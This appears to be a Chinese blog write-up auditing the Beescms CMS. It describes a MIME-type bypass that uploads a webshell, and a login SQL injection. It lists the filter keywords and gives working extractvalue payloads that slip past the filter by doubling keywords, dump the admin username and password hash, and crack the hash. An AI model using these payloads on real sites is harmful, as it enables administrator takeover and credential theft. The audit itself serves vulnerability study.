Beescms代码审计之任意文件上传漏洞
前言
本次代码审计过程主要针对文件上传漏洞初级审计流程的思路进行复现
关键代码
文件上传: $_FILES,type="file",上传,move_upload_file()等
开始
搜索type="file"
字段发现不少东西:
选择第二个,发现了用户自定义的函数:
跟踪一下:
结合实际情况进行抓包通过参数定位到代码中进行确定:
可以确定确实是这一块的代码
两处滤点:
- 针对太大的图片进行了过滤
- 将图片类型与传入的参数$type数组进行了比较,判断是否满足数组中的类型
第一个不是问题,第二个可以跟踪$type来查看定义了那些类型:
回溯到第一个文件中:
array('image/gif','image/jpeg','image/png','image/jpg','image/bmp','image/pjpeg','image/x-png')
整个漏洞体现的很明显了,mime类型绕过即可:
但是还有一个什么问题,就是获取路径:
这里就可以获取路径,然后木马一连就可以了
利用已知函数进行漏洞再挖掘:
上回已经知道up_img函数验证不严谨,既然如此,我们就针对up_img函数进行一个全局搜索:
这个地方应该都是一样的东西,既然调用同一个函数,那么基本这个上传点也存在一样的漏洞:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-1LwwYMTg-1632112960265)(http://images2.5666888.xyz//image-20210918204157912.png)]
同样的操作,同样的思路,将漏洞利用最大化i😏:
此处自动返回路径:
路径一样:getshell!!!i😁
Beescms代码审计之sql注入漏洞
针对登陆页面进行抓包以找到检测页面:
找到具体检测的函数:
经过全局跟踪在fun.php中找到了该函数的定义:
可以看出来$user没有经过任何函数处理:
注入测试:a' or sleep(3)#
验证码要对,果然睡了3秒说明是注入点
过滤:
fun.php中的fl_value函数
select
insert
update
and
in
on
left
joins
delete
%
=
/**
../
./
union
from
where
group
into
load_file
outfile
fun.php中的fl_html函数:
function fl_html($str){
return htmlspecialchars($str);
}
那么结合下面payload可以进行注入:
//爆破库名
yn8rt'and extractvalue(1,concat(0x7e,select database(),0x7e))#
//利用双写+空格绕过过滤
//爆破表名
yn8rt' a and nd extractvalue(1,concat(0x7e,(selselectect table_name fr from om information_schema.tables wh where ere table_schema like 'beescms' limit 0,1),0x7e))#
//爆破列名
yn8rt' a and nd extractvalue(1,concat(0x7e,(selselectect column_name fr from om information_schema.columns wh where ere table_name like 'bees_admin' limit 0,1),0x7e))#
//爆破admin账户名:admin
yn8rt' a and nd extractvalue(1,concat(0x7e,(selselectect admin_name fr from om beescms.bees_admin limit 0,1),0x7e))#
//结合substr全部爆破密码
yn8rt' a and nd extractvalue(1,concat(0x7e,substr((selselectect admin_password fr from om beescms.bees_admin limit 0,1),3,32),0x7e))#
//21232f297a57a5a743894a0e4a801fc3很明显的md5函数处理:admin